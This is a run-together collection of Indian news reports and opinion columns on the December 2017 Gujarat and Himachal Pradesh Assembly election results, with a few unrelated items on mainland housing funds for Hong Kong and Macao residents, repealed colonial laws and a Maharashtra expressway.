The prime minister, BJP's answer to fending off its opponents in electoral battles all over the country, has thus far carried the party's campaign as a one-man army. But the Gujarat results betray the party  and Modi's  vulnerability when a more equal battle is afoot.

The Modi formula

BJP's massive victory under Modis leadership in 2014, and in subsequent state elections, helped expand the party's footprint and penetrate into areas long considered to be outside the party's electoral domain  read Assam.

This year's Uttar Pradesh Assembly elections serve as the perfect use case for the Modi formula. Moditva, a blend of rhetoric centred around Hindutva and development perfected by Modi, garnered mass appeal for him in the state and was successful in shifting the electoral winds towards the party sails. All BJP had to do was to factor in Moditva into its well-established and practiced strategy centred around Hindutva.

Given all this, Gujarat should have been an easy and big win.

But Hindutva politics has its limits. In Gujarat, the BJP may have stretched the polarisation game to the point from where the electoral returns could only be low, even negative. Hindutva politics is fundamentally adversarial and can survive only in a versus scenario. If minorities and their appeasement are taken out of the equation, then its appeal wanes. When all political parties evade being identified with these communities it stops delivering electoral dividends. In Gujarat, that was precisely the case; Congress blunted Hindutva's edge by maintaining a distance from them and was able to negate Modi's and thereby BJP's success formula.

Thus, the Congress was able to prove to the rest of India that the Modi formula may not be as infallible as imagined.

Restoring equilibrium

A look back at the 2012 Gujarat polls reveals that there existed a parity in the electoral approach between the BJP and Modi.

But in the lead up to the 2014 elections and beyond, Moditva started to weigh in heavily as an electoral strategy, 'Modi'fying the established order.

Thus, BJP's overreliance on Modi for elections and his larger-than-life persona has invariably created a scenario in which 'Brand Modi' has all but trampled the party as an entity outside of him. This has eviscerated the second-rung party leadership, making a 'Modi-centred' approach imperative for any electoral campaign.

The results in Gujarat show the perils of this approach. Using the prime minister as an electoral spearhead is fetching diminishing returns, and the lack of strong local leaders capable of mobilising the masses only accentuates this problem.

As argued by Firstpost in an earlier article, the Gujarati voters were able to make a distinction between Modi and BJP. "The state unit leadership was cocksure about winning the state hands down. In any case, the only challenge was from a weak Congress leadership in the form of the incoming party president Rahul." That assurance, the piece adds, "was bordering to the point of hubris and was quite misplaced".

The lack of viable local leadership with an ear to the ground almost cost the BJP. Vijay Rupani, and Anandiben Patel before him, did not possess the gravitas and the stature needed to mobilise the party workforce or sway the electorate. Add to it the fact that the Congress' counter-narrative to the BJP was formed by its association with youth leaders like Hardik Patel, Alpesh Thakor and Jignesh Mevani. A worried BJP was reduced to launching a fire-fighting operation to try and discredit the three young leaders. The result, BJP's worst performance in 22 years.

While the party may argue that the Congress was trying to 'outsource' the election campaign to them, the fact is that it won't be long before the electorate realises that 'loaning out' the prime minister as an electoral campaigner is also a form of outsourcing.

With Assembly elections due in eight states next year and the crucial 2019 General polls to follow, the BJP's strategy needs to make way for a more structural, nuanced approach.

In not declaring a chief ministerial candidate before the results  as in the case of Bihar, Gujarat, Uttar Pradesh etc  the BJP put all its eggs in the Modi basket, gambling on his grand image to pull through. But the recent results highlight the need to cultivate local leaders and announcing candidates beforehand to consolidate vote banks and restoring parity to the Modi-BJP equation.

Click here for detailed coverage of Gujarat Assembly Election 2017
Ahmedabad: Although the BJP scraped through to an election victory in Gujarat despite a stiff challenge posed by a resurgent Congress, political observers feel that the Assembly poll outcome has sounded a "warning bell" for the BJP on a host of issues.

They also feel that though the election saw Congress president Rahul Gandhi emerging as "a matured leader", the opposition party lost a "golden chance" to convert people's anger against the BJP into an electoral victory.

The Gujarat election was a battle of prestige for the BJP given that both Prime Minister Narendra Modi and party chief Amit Shah hail from the state. The two leaders personally led a high-pitched campaign to check Gandhi making inroads into the state, coinciding with his elevation as the party chief.

Although the saffron camp managed to win 99 seats in the 182-member assembly, its tally dipped from 115 in the last elections, much lower than the 150-plus seats it had hoped for.

The BJP bagged just seven more than the magic figure of 92, while the Congress and its allies lifted 80 seats, only 12 short of a simple majority.

According to analysts, the outcome indicated that there was a tide against the BJP in Gujarat.

"People of Gujarat have put the BJP on notice. The message is clear that it cannot take people for granted," political analyst Ghanshyam Shah told PTI.

Although winning the elections was perceived to be not an uphill task for the BJP, this time there were several key factors at play that were complicated as compared to the previous elections.

The state elections were held here after three consecutive years of deficient rains that caused widespread distress among the rural populace, economic slowdown due to demonetisation and GST and the anti-incumbency after 22 years of the BJP rule.

Lack of credible leaders having a mass appeal in the BJP after Modi's shift to the Centre as prime minister was also a major reason that worked against the party.

Following the unrest by the Patidar agitation in 2015 and the Dalit community's protest last year after the Una flogging incident, the party felt that the change of guard was necessary in the state and Vijay Rupani was made the chief minister in place of Anandiben Patel in August last year, more than a year before the state went to polls.

Political observers, however, feel that the Congress failed to fully use the political situation to its benefit in the elections.

"Despite people's dissatisfaction, the Congress could not convert the golden chance to its benefit as it lacked a credible face," Shah said.

The results showed that while the BJP maintained its sway over the urban voters it fared poorly in rural pockets.

Still, many feel that to a great extent it was Modi's charisma that saved the day for the BJP.

"Economic performance of the government was overshadowed in urban areas by 'Gujarati asmita' (pride) and charisma of Narendra Modi, who alone could pull this elections for the BJP," Shah said.

Hari Desai, another analyst, said he saw the outcome as having sounded a "warning bell" for the BJP and Congress president Rahul Gandhi emerging as a "very mature leader".

"This surely is a warning bell for the BJP and its performance in the state. The party has been brought down to the ground. They (BJP) won the election not on development, but on emotional appeal," Desai said.

"The other thing that comes out of this election is that Congress has revived itself in Gujarat. Rahul Gandhi has emerged as a very mature leader. They (the BJP) can no longer ignore him," Desai said.

Sociologist Gaurang Jani said the Gujarat election has broken many myths on the caste system in the state.

"This verdict has shown that the caste system is as prevalent in Gujarat as it is in any other state of the country. Earlier, the possibility was that the caste preferences were overshadowed by the Hindutva influence," Jani, a professor of sociology of Gujarat University, said.

"In the rural areas, the caste factor has played a decisive role as it is seen in the gains made by the Congress party. While in urban areas Hinduvta has eclipsed the caste factor and the BJP has won," he said, referring to the role played by three caste leaders  Hardik Patel, Jignesh Mevani and Alpesh Thakor  in the polls.

"The results also show that urban middle class and the BJP are inseparable. Ideology of the BJP is the main factor attracting the urban middle class and urban upper-middle class appeared to be the trend setters," he said.

Jani also feels that the minorities and women have not got enough representation in the Assembly.

"Just three Muslims and 13 women candidates have been elected. This shows that every section is not properly represented in the elections," he said.

"The challenge for the BJP will be to perform and keep an edge over rivals as people have sounded out a warning," Jani said.

Click here for detailed coverage of Gujarat Assembly Election 2017
Prachi Salve and Alison Saldanha

For the sixth time in a row, the Bharatiya Janata Party (BJP) has won Assembly elections in Gujarat, this time by a margin of 22 seats, down from 54 seats from five years ago, or a 59 percent drop. The BJP won 99 out of 182 seats, the least it has since it first came to power in the state in 1995 with 121 seats, showed an IndiaSpend analysis of election data of the last 22 years.

Though the Congress is now in the Opposition for another term, the party has made significant gains, garnering 77 seats  the most it has in 22 years since it won 45 seats in 1995, an analysis of election data showed.

The Congress party accepts the verdict of the people and congratulates the new governments in both states. I thank the people of Gujarat and Himachal with all my heart for the love they showed me.  Office of RG (@OfficeOfRG) December 18, 2017

Election results in Gujarat and Himachal Pradesh indicate a strong support for politics of good governance and development. I salute the hardworking BJP Karyakartas in these states for their hardwork which has led to these impressive victories.  Narendra Modi (@narendramodi) December 18, 2017

On 15 December, 2017, BJP president Amit Shah predicted that the BJP would win 150 seats by 11 am on the day of the results. At 5.22 pm on Monday, the BJP had won 84 seats and was leading in 15 more, election data showed.

Seats and voteshare over the years

Since the BJP first came to power in Gujarat in 1995, state elections have mainly been a two-party battle that it fights with the Congress. The former has consistently won a majority of the seats and bagged most of the voteshare.

&lt;a href='#'&gt;&lt;img alt='Seats Won By The BJP &amp;amp; CongressIn Gujarat Assembly Elections, 1995-2017 ' src='http:&amp;#47;&amp;#47;public.tableau.com&amp;#47;static&amp;#47;images&amp;#47;gu&amp;#47;gujaratseats_desktop&amp;#47;Dashboard1&amp;#47;1_rss.png' style='border: none' /&gt;&lt;/a&gt;

The BJP's voteshare has grown from 42.5 percent in 1995 to 49.1 percent in 2017, after it recorded a significant jump of 49.8 percent in the 2002 elections.

The Congress voteshare, meanwhile, has steadily grown from 32.8 percent in 1995 to 41.4 percent in 2017. This is its highest growth in over two decades and it ate into the vote shares of Independent candidates and other regional parties. These small parties have claimed a vote share of 5-6 percent since 2002.

&lt;a href='#'&gt;&lt;img alt='Vote-Share Of The BJP &amp;amp; CongressIn Gujarat Assembly Elections, 1995-2017 ' src='http:&amp;#47;&amp;#47;public.tableau.com&amp;#47;static&amp;#47;images&amp;#47;gu&amp;#47;gujvoteshare_desktop&amp;#47;Dashboard1&amp;#47;1_rss.png' style='border: none' /&gt;&lt;/a&gt;

Making its first appearance in an Assembly election in Gujarat, the 'None Of The Above' (NOTA) option received over half a million votes (551,580) or 1.8 percent of the 30.4 million votes polled, according to election data.

Rural Gujarat: Where BJP lost, Congress gained

The BJP has retained its hold over the urban parts of the state such as Ahmedabad, Surat, and Rajkot, an analysis of constituency-level election data showed.

Away from these trade and commerce centres, in the rural areas of Saurashtra and Kutch, however, votes swung in favour of the Congress.

The BJP has won 55 of 73 (75.3 percent) urban seats; the Congress won the remaining 18. But in predominantly rural areas, Congress won 62 out of 109 seats (56.8 percent) while BJP won 43, according to a report in The Times of India.

In Saurashtra and Kutch, the Congress won 30 of 54 seats (55 percent), while the BJP won the remaining 23, an analysis of regional-level election data showed.

In northern Gujarat, a traditional bastion of the BJP, the Congress won 17 out of 32 seats (53 percent), while in southern Gujarat, around the urban areas of Rajkot, Bhavnagar, and Porbandar, BJP won 25 of 35 seats (71 percent).

In central Gujarat, in areas around Ahmedabad, and in the urban centre of Vadodara, the incumbent party won 37 out of 61 seats (60.6 percent).

The primary reason for the Congress' resurgence in rural Gujarat appears to be linked to growing rural distress. The added impact of demonetisation and the newly introduced Goods and Services Tax (GST) that affected all traders, big and small, in these parts could have added to the swing in favour of the Congress.

As 2017 began, news from India's farms appeared good, but during the course of the year, bountiful harvests drove farmers to despair and calls for loan waivers rose from many states including Gujarat, as IndiaSpend reported on 15 June, 2017.

Following consecutive droughts in 2014 and 2015, a good monsoon in 2016 reversed two years of rural economic decline  India's agricultural growth, after contracting to 0.2 percent in 2014-15, grew to 4.1 percent in 2016-17, as reported by IndiaSpend on 8 June, 2017.

But the flood of produce in the agricultural markets of many states, including Gujarat, coincided with an influx of imports and prices plunged.

The crisis was exacerbated with a below-par minimum statutory price for cash crops  Rs 800 for a kg of cotton as compared with Rs 1,300 given by the United Progressive Alliance government, according to a report in The Hindu from 23 November, 2017.

Further, damage to crops from flooding in the state, and the non-payment of insurance  despite payment of premiums  alienated farmers, reported Business Standard on 26 November, 2017.

And, months after the introduction of the GST on 1 July, 2017, many small and medium trade units in the state were forced to shut, while many more claimed heavy losses, according to a report in Economic and Political Weekly on 9 December, 2017.

For example, spice traders in Unjha, the hometown of Prime Minister Narendra Modi and one of the biggest spice markets in Asia, were reportedly furious as they were yet to receive refunds on the GST imposed on exports. They claimed the resulting "cash crunch" had curtailed their volume of business and exports by nearly 50 percent, the report said.

Unjha, a long-time bastion of the BJP since 1995, swung to the Congress in the 2017 elections by a margin of 81,797 votes, an IndiaSpend analysis of election data showed.

Salve is an analyst and Saldanha is an assistant editor with IndiaSpend. With data inputs by Angel Kandathil Mohan and Sanjukta Nair, interns at IndiaSpend.
When Congress president Rahul Gandhi boasted that the Gujarat elections would throw up a zabardast result, he didnt, of course, have in mind the outcome delivered on Monday.

Yet, in a way different from what Rahul had envisioned and perhaps even prayed for in the numerous temples he visited during the campaign, the result was indeed a zabardast one. As counting continued and leads flashed on TV screens, it looked at one point like a neck-and-neck battle. Then it suddenly seemed like Rahul was running between wickets so quickly to catch up with the BJPs score that he was run out, and some of his supporters began to blame the umpire  the EVMs. Soon the dust settled: The BJPs tally came to be 99 in an Assembly of 182 seats, and that of the Congress, 80.

Besides being an edge-of-the-seat thriller, the result was a zabardast one for another reason: It holds lessons for both the BJP and the Congress.

The bottom line for the BJP is this: It cant brush under the saffron carpet the fact that its tally is not only woefully short of the 150 seats it has been boasting it would win, but is even less than the 115 it won in 2012. The Congress, on the other hand, has improved its tally from 61.

This scorecard might tempt some analysts to describe to hastily describe the Gujarat election as a war that nobody has won. That would be wrong, although credit must go to the Congress for having given the BJP a tough fight. Not surprisingly, supporters of the dynasty lost little time in singing paeans to Rahul's exemplary leadership and concluding that the Nehru-Gandhi clan is the last hope for all Indians to mitigate their miseries, with Left-leaning intellectuals supplied the accompanying orchestra.

But what they forget is that a party's job is to win an election and not just put up a tough fight and go home all smiles. They should also remember that, at the end of the day, the BJP not only retained Gujarat but also annexed Himachal Pradesh from the Congress  which is now left with only Karnataka, Punjab, Meghalaya, Mizoram and Puducherry to rule.

At the same time, the result can mean that the BJP is not as invincible as it believes. If the Congress, with all its sloppy strategy and with help from a self-styled 24-year-old Patidar caste champion, can rattle the BJP in the backyard of Prime Minister Narendra Modi and party president Amit Shah, the party must worry about what could happen in future elections elsewhere. The Gujarat result tells the rest of India that the Modi magic may not be as failsafe as imagined, and his famed juggernaut can be slowed by speedbreakers.

You can, of course, expect the BJP leaders to put on brave faces and blame anti-incumbency and the Congress' casteisation of the election by making impossible promises of reservations to Patidars. They are not far wrong, but the question is what the BJP has done about it and what it will do about it in future.

A wake-up call for the BJP

If the BJP has escaped with only limited damage from anti-incumbency, it's partly because the state's much-trumpeted development model has apparently done some good in Gujarat, despite what habitual Modi-baiters claim.

Despite this victory, the BJP must note that grievances over demonetisation, GST, jobless growth and agrarian misery (that were discussed in the Gujarat election) exist in the rest of India as well. In Gujarat, Modi must now be wary of what anti-incumbency can do in 2019 when he will seek his second term as the prime minister, especially if Rahul mends his ways, repackages himself yet another time and stitches up a Grand Alliance. And within the next five months or so, the assemblies of Karnataka, Meghalaya, Nagaland and Tripura will go to the polls.

As 2019 nears, the BJP must harp less on Hindutva, focus on good governance and bring some noticeable improvement to the common man's life. Considering that the last six months may go away in alliance-making, candidate-selection and the model code, the party has just about 10 months to accomplish that.

What the result tells the Congress

Since 2014, the electoral strategy of the Congress has largely consisted of three things:

1. Attacking Modi on communalism,

2. accusing him of doing nothing on the economic front and

3. trying to appease sundry castes.

This scheme of the Congress has flopped in state after state, and Gujarat is the latest one.

Whats important is that, in Gujarat this time, the BJP didnt play the religion card as much as it is accused of doing.

Those who attribute the partys victory only to communal polarisation and Modis ridiculous talk about the Congress confabulations with Pakistanis during the Gujarat campaign, and nothing else, are being either downright naive or lying. Yet the Congress harped on it in Gujarat, as it did elsewhere in the past. By castigating Modi on communalism the way it does, the Congress almost always ends up painting itself as anti-Hindu and losing votes.

The Congress must also introspect on its silly posturing of soft Hindutva in Gujarat. It hasnt helped. If the party indeed is serious about not being dubbed anti-Hindu, what it must do is to come clean on what it means by secularism. It must tell the country that secularism means equality of religions and separating religion from the State without appeasing any section  Hindus in the case of Hindutva hooligans and minorities in the case of Congress minions.

The Congress must equally worry about what it says about the nations economy. Its fairly certain by now that economics mattered in Gujarat election much more than politics, and it helped the BJP retain the state, though multiple other issues including perhaps the Pakistan bogey played their roles. But Rahuls campaign on development hasnt helped his party significantly enough. His monologues on jobs and economy offer no alternative solutions and only led to a collective yawn from the Gujaratis. In fact, if the Congress won Gujarat, it would have been able to do little to mitigate peoples distress on issues he raised.

And once again, the Congress strategy of casteisation was of little help. Its deals with three caste leaders  Hardik Patel, Jignesh Mevani and Alpesh Thakor  may have helped it get some seats but not enough to win the election. The lesson for the Congress is that it must stop overestimating the role caste plays in elections in the Modi era. The party hasnt realised that trying to appease different castes with conflicting interests, unless done with tact, is inherently risky. For instance, by trying to placate Patidars, the Congress may have helped non-Patidar Hindus rally behind the BJP to some extent.

The Gujarat election once again proves that the Congress has no clue  not even a clue to a clue  as to how elections are fought on the ground. For the party, booth-level election management, from the days of Indira Gandhi, usually meant no more than hiring thugs to ferry some voters to polling stations and intimidating others.

In Gujarat this time, the party assigned a former IPS officer to do some booth-level number crunching with the aid of hired analysts.

This is something like a soap-making company dividing its territory into different zones, studying where rival brands are doing better and then letting armchair experts shape strategies. Its a far cry from the clinical and devoted fashion in which BJP workers go about their job of meeting voters and persuading them to vote for the party.

There is one last thing that Rahul must learn: Although Twitter is a nice thing, it's not a replacement for partymen reaching out to voters in flesh and blood.

The author tweets @sprasadindia
In hindsight, it was probably a compliment to Narendra Modis political management. As soon as he left the state, one after another caste resentments came out in the open in the streets. Three of them, Patels led by Hardik Patel, OBCs led by Alpesh Thakore and scheduled castes or Dalits led by Jignesh Mevani, have made a dent in the ruling BJPs election score. At the beginning of these elections, if the Congress seemed to be in contention at all  against the might of a supremely popular leader in his own home state  it was thanks to this trio. At the end of the elections, if the BJP ended up below the 100 mark for the first time in 22 years, it is thanks to this trio.

But this might not be such a good thing after all for the Congress in the long run. To understand why, first consider a bit of background.

The three young leaders have been clubbed together by circumstances, but they are as different as khakhras and theplas. Hardik Patel, the man who made the maximum noise, may take decades before maturing as a political leader. To hear him explain the logic of his demands is to marvel at the potential of Indian democracy to accommodate a whole range of characters. He apparently did not have any political leanings for or against BJP/Congress; he was available for whoever would satisfy the outlandish demand of a quota for Patels. Alpesh, on the other hand, is now on his way to becoming a regular career politician. His family was with the Congress, and now he has joined it too. Jignesh, the guy-next-door journalist, is altogether a third variety. He has been groomed in civil society and grassroots agitations (against, for example, industrial projects on farm lands). It remains to be seen how long he survives Gandhinagar politics with his jholawala ways. He had no love lost for BJP, but he did not join the Congress either, though the main Opposition party accommodated him in its sure-win Vadgam constituency.

These three leaders, maverick in their own different ways, emerged as the face of youth discontent brewing in Gujarat, and the Congress was smart enough to make good use of them. As Chief Minister Vijay Rupani put it towards the beginning of the campaign, the Congress basically outsourced its campaign to them.

Rahul Gandhis smart move of outsourcing, however, can only take the Congress this far, and no further. It can even prove counterproductive.

Alpesh, being part of the Congress family in a sense, is not a case of outsourcing. Jignesh, with his background, can turn critical of the Congress too if circumstances demand  he is an independent candidate after all. But Hardik is a freelancer. In helping itself to their booster dose, the Congress is binding itself to their differing agenda. The cause of OBCs and SCs is not a problem for the party. In fact, in the 1980s, it was the original champion of the OBCs and SCs. But in taking up the cause of the Patels, the party is repeating a mistake it made in supporting Chimanbhai Patel in 1991  wooing the community that has long parted its ways with it, and in the process giving up what has been gained. The Patel community has been with the BJP for long. This time its vote was fragmented a bit, but the Patels are not going to throw their lot behind the Congress en mass en bloc.

Rahul Gandhi tried the piggyback strategy in Bihar too, and it has eventually failed. Its time for him to realise that outsourcing is short-termism. In depending on outsiders, the Congress has failed to groom its own next-generation leaders, since Bharatsinh Solanki, Shaktisinh Gohil, Arjun Modhvadia and Siddharth Patel and others have been failing conclusively for 22 years now. Indeed, the party does not have a leader with across-the-state appeal since Chimanbhai  and even he returned to Gandhinagar not with the Congress but against the Congress.

But, well, thats the Congress' destiny in BJPs Gujarat in the absence of a well-oiled organisational and a confident cadre. Its supposedly strongest leader in the state in two decades was none other than Shankarsinh Vaghela, the original instance of outsourcing.

Ashish Mehta is with Governance Now.
Kolkata: West Bengal chief minister Mamata Banerjee on Tuesday called up Patidar leader Hardik Patel and congratulated him for his "tremendous work" in the Gujarat Assembly election, the results of which were announced on Monday.

"He (Hardik) has done so well (in the Gujarat election) at a young age. I called him up to congratulate him for the feat," she told reporters at the state secretariat.

The Trinamool Congress (TMC) supremo said she would also call up young Dalit leader of Gujarat Jignesh Mevani and OBC leader Alpesh Thakor for their "positive show" in the polls.

Patel, Mevani and Thakor had thrown up a tough challenge to the ruling BJP in the Gujarat polls.

While Thakor won on a Congress ticket and Mevani as an Independent, 24-year-old Patel's Patidar Anamat Andolan Samiti (PAAS) had backed the Congress candidates.

Banerjee had on Monday said the Gujarat poll outcome was a moral defeat for the BJP and that the people of the state had "belled the cat for 2019".

She had congratulated the people of Gujarat for their "very balanced verdict" and said it was a face-saving win for the BJP.

The TMC chief, who has often been strident in her criticism of the BJP, had recently hailed Congress president Rahul Gandhi for "putting the BJP on the backfoot".

The BJP fought off a strong challenge from Congress to win the Gujarat Assembly polls for the sixth successive time on Monday and also wrested power from the Congress in Himachal Pradesh with a close to two-thirds majority.
Mumbai: The Shiv Sena on Tuesday launched a stinging attack on its ally BJP, saying "the much-touted Gujarat model has shaken" and the poll outcome in the state was a "warning bell" to those who believe in an autocratic rule.

The Sena said Congress president Rahul Gandhi and Patidar leader Hardik Patel had been ridiculed as "monkeys" but "these 'monkeys' have slapped the 'lion'".

The Sena attack on the BJP came in an editorial in its mouthpiece 'Saamana', a day after the BJP retained power in Gujarat with a reduced tally of 99 seats against 115 last time.

The Congress increased its tally from 61 seats last time to 77 this time.

The Sena said the BJP had "barely managed to pass" the electoral exam but was pretending to have passed with distinction.

The BJP won Gujarat and Himachal, but the Congress also did not lose, the editorial said.

"The dream of a 'Congress-Mukt Bharat' (Congress-free India) remained unfulfilled," the Shiv Sena said. This election result in Gujarat is a "warning bell for those who believe in an autocratic rule", the Sena said.

"The BJP may have won the election but the discussion is about the strides Rahul Gandhi has taken. It was said that we (BJP) won't get a single seat less than 150 in Gujarat, but it proved to be a tough task even to reach the 100 mark," said the editorial.

The party asked the BJP to pay heed to the "sterling performance" of Rahul Gandhi and Hardik Patel in Gujarat.

While the people of Gujarat stood behind Prime Minister Narendra Modi in 99 constituencies, the "Rahul Gandhi-Hardik Patel duo" emerged victorious in 77 seats, it said.

"Even Modi had to play the Gujarati pride card (to win these elections)," it said.

The Sena said there were some who ridiculed Rahul Gandhi and Hardik Patel as "monkeys" compared to the BJP leadership. "These monkeys have slapped the lion and sounded the danger alarm," it added.

"Those who indulged in this ridicule now have to pretend that they have passed with distinction, despite barely managing to pass (the poll exam)," the Sena said.

"The much-touted Gujarat model (of development) is shaken. We only wish that in (the) 2019 (elections) it does not collapse," it said.

On the BJP workers rejoicing on Monday, the Shiv Sena wondered whether the party has scored "such a scintillating victory" that it was worthy of being celebrated with dancing.

"To summarise, one can say that the 'wind' has not changed direction (but) it has certainly slowed down. The (once) high tide has now subsided," it said.
Employees from Hong Kong and Macao will be granted equal rights to the housing provident fund on the Chinese mainland, the Hong Kong and Macao Affairs Office of the State Council announced Monday.

Employees from Hong Kong and Macao will be granted equal rights to the housing provident fund on the Chinese mainland. [Photo: VCG]

Employees from the two areas will be allowed to deposit and withdraw from the public provident fund and apply for housing loans as mainland residents do, according to a guideline issued by departments, including the Ministry of Housing and Urban-Rural Development.

Under current regulations, urban residents on the mainland, together with their employers, pay a portion of their incomes into the housing provident fund to be eligible for low-interest housing loans. The fund can also be used for rent and renovations.

The policy is among the latest of central government measures to create convenience for people from Hong Kong and Macao to develop mainland careers.

The education authority set up scholarships dedicated to students from Hong Kong and Macao to sponsor them to study on the mainland, with larger quotas and more money.

The National Social Science Fund will be also open to applicants from Hong Kong and Macao, who work in universities or scientific research institutions on the mainland.
New Delhi: The BJP which romped to power in Himachal Pradesh by trouncing the Congress saw a jump of about 10 percent in its vote share as compared to the the last Assembly polls in the state in 2012.

On the other hand, the Congress despite polling just one percent votes less than what it got in 2012, was sent out of power this time.

The BJP bagged 48.8 percent of the total votes, securing 18,46,432 votes to return to power after winning 44 seats, against the 38.47 percent votes it had polled in 2012 when it won only 26 seats by polling 13,00,756 votes in its favour.

The Congress won 21 seats in the 68-member Assembly after polling 15,77,450 votes, which is 41.7 percent of total votes cast this time.

The Congress had in 2012 polled 14,47,319 votes, which was 42.81 percent of total votes cast, to secure power from the BJP in the last Assembly polls.

Meanwhile, many other top leaders in the state lost their seats by very narrow margins this time around.

BJP's chief ministerial face for the Himachal Pradesh polls, Prem Kumar Dhumal, was defeated from the Sujanpur Assembly seat.

The former chief minister lost to his Congress rival Rajinder Singh Rana by 1,919 votes, according to the Election Commission. Dhumal got 23,369 votes against 25,288 votes polled by Rana.

Baldev Sharma of BJP lost to Congress' Inder Dutt Lakhanpal from Barsar Assembly seat by a margin of only 439 votes, while Congress secretary in-charge of Punjab Asha Kumari won her Dalhousie seat from DS Thakur of BJP by merely 556 votes.

In Kasauli, Rajiv Saizal of BJP won the seat by a margin of only 442 votes against Vinod Sultanpuri of the Congress. He won the seat from Sultanpuri last time in 2012 by a narrower margin of only 24 votes.

Jagat Singh Negi won the Kinnaur seat against BJP's Tejwant Singh Negi by a margin of only 120 votes.

Himachal Congress' Cabinet Minister GS Bali lost his Nagrota seat to Arun Kumar of BJP by a narrow margin of only 1,000 votes.

Dhani Ram Shandil won the Solan seat from BJP's Rajesh Kashyap by a slender margin of only 671 votes.

Taking a dig at the BJP, Congress' communications in-charge Randeep Surjewala said, "Is is not clear whether the BJP Parliamentary Board under a conspiracy defeated him by sending him to Sujanpur so that a person of choice could be imposed in the state."

"It is not a good sign at least in the Dev bhoomi of Himachal Pradesh," the Congress leader said.

"While Modi praised himself, he rejected the leadership of Vijay Rupani and Prem Kumar Dhumal. What cooperative federalism?" he alleged.
Shimla: A day after the party's defeat in the Himachal Pradesh Assembly elections, Congress leader Virbhadra Singh on Tuesday tendered his resignation as chief minister and that of the Council of Ministers to Governor Acharya Devvrat.

The governor has accepted the resignation and requested him to continue in office along with his Council of Ministers to discharge the functions till an alternative arrangement is made or the new government is formed, a statement said.

The Bharatiya Janata Party (BJP) wrested power from the Congress, winning close to a two-thirds majority with 44 seats in its kitty in the 68-member Assembly.

But BJP chief ministerial candidate Prem Kumar Dhumal and state party chief Satpal Satti faced humiliating defeats.

The ruling Congress managed to win 21 seats, with its chief ministerial candidate and incumbent Virbhadra Singh winning with a slender margin of 6,051 votes from Arki. Two seats were won by Independents and one by the Communist Party of India-Marxist (CPM).

Chief Minister's son Vikramaditya Singh also marked his maiden victory in the assembly with a margin of 4,880 votes from Shimla (Rural), the seat his father earlier represented.

In the outgoing Assembly, the ruling Congress had 36 seats, the BJP had 26 and six were held by Independents.
New Delhi: The Lok Sabha on Tuesday passed two Bills to repeal 245 obsolete and archaic laws, including the 158-year-old Calcutta Pilots Act of 1859 and the 1911 Prevention of Seditious Meeting Act.

Law Minister Ravi Shankar Prasad said the old and many irrelevant pre-independence laws were the "unfortunate part of the colonial legacy" and repealing them was a progressive move that reflects the "pro-reform" approach of the government.

He was replying to a debate on the Repealing and Amending Bill and the Repealing and Amending (Second) Bill which would repeal these age-old laws.

Some of the old acts that have been repealed are the Hackney Carriage Act 1879 which was legislated for the regulation and control of hackney-carriages, Dramatic Performance Act 1876 when the theatre was being used a medium of protest against the British rule.

Another such old act which was repealed by the Lok Sabha was 'The Ganges Tolls Act, 1867' which provided for collecting toll "not exceeding 12 annas" on certain boats and steamers plying on the Ganga to improve navigation of the river between Allahabad (Uttar Pradesh) and Dinapore (Bihar).

Prasad said 1029 old laws were first repealed by Parliament in 1950 and the last time such old laws were abolished during the Atal Behari Vajpayee government that repealed old laws in 2004.

After the Modi government came to power a two-member panel was set up to look into the repealing of archaic laws and the panel also consulted the Centre and the state government before recommending the legislations to be repealed.

Some 1824 acts were repealed after Prime Minister Narendra Modi took over the reins of the government, the law minister said.

When Prasad spoke on abolishing the Prevention of Seditious Meeting Act, 1911, he was needled by BJD MP Tathagata Satpathy who alluded to the use of the sedition provision in the Indian Penal Code against Opposition activists by the BJP governments in certain states.

To this, the law minister said that all senior ministers in the BJP government including the prime minister had vehemently opposed Emergency in 1975 and his government was in favour of the freedom of the press.

Patidar leader Hardik Patel and JNU student union leader Kanhaiya Kumar too were booked for sedition.

BJD MP Pinaki Misra lauded the government and said 1301 "obsolete" laws were repealed in last 65 years, but after the Modi government took over 1,824 legislations were repealed but the pace has to be accelerated.

BJP MP Meenakshi Lekhi said abolishing of old laws was "swachchata abhiyan" by the House, drawing a parallel to the Swachch Bharat Abhiyan, the flagship programme of the Modi dispensation.

Shiv Sena MP Vinayak Raut demanded repealing of Article 370, while Narendra Sawaikar, BJP MP from Goa, said his state was the only one to practise the Uniform Civil Code.
Nagpur: Maharashtra minister Eknath Shinde on Tuesday informed the Legislative Council that not even an inch of land for the proposed Mumbai-Nagpur Samruddhi Expressway was acquired forcefully.

Shinde, the Public Works Department minister, was replying to a query during the question hour by Congress MLC Husnabanu Khalife.

Khalife alleged that the farmers were being threatened and forcefully made to hand over their land for the project.

"The measurement of 380 out of 392 villages has been completed. Meanwhile, discussions are underway in 12 villages where protests from farmers are being witnessed. Besides, no measurement of land is conducted in the villages witnessing protests and not a single inch of land is acquired forcefully," said Shinde.

Similarly, Congress MLC Sanjay Dutt alleged that the concerned project does not have sufficient funds and no banks are coming forward to lend loans for this project.

Shinde said there is no shortage of funds for the project.

"MHADA has given 1000 crore, SRA has given 600 crore and MMRDA has also provided funds to the project. The government has collected Rs 2,600 crore funds and Rs 2,300 crore have already been distributed the farmers.

"Besides, 14 banks are ready to give 18,000 to 20,000 crore funds for the project. Hence, this project will not stall for wants of funds," the minister added.
Hyderabad: Senior Congress leader M Veerappa Moily on Tuesday indicated that the controversial statements of Mani Shankar Aiyar and Kapil Sibal might have undone the gains made by party president Rahul Gandhi during campaigning in the Gujarat elections.

He claimed that Gandhi has emerged as an "alternative to (Prime Minister) Narendra Modi" for the 2019 general elections.

The former Union minister also accused Modi of trying to "emotionally blackmail" the Gujarat electorate and said political parties should not win elections on the basis of "jumlas".

"...our people like Mani Shankar Aiyar should not have raised those issues against him (prime minister)," Moily told PTI.

He was referring to Aiyar's "neech" remark. The BJP on Monday returned to power in Gujarat for the sixth straight time, fighting off a strong challenge from the Congress.

Asked if Aiyar's comments had an adverse electoral impact for the Congress, Moily said, "Maybe. Narendra Modi utilised that statement to hit at the Congress and also our leader. We should be very careful."

He also termed as "unnecessary" Sibal's statement asking the Supreme Court to defer hearing in the Ram Janmabhoomi case till after the 2019 general elections.

"He (Sibal) should not have made such statements. He was not authorised to make such statements on behalf of the party," Moily said.

"It was not the party view, even then Narendra Modi utilised," the former chief minister of Karnataka said.

"Some of our leaders also should restrain themselves, particularly on the eve of the elections and during the elections. One should be very careful. Wisdom should prevail upon them, that means to say that our leaders should also have political sense to deal with the subject," he said.

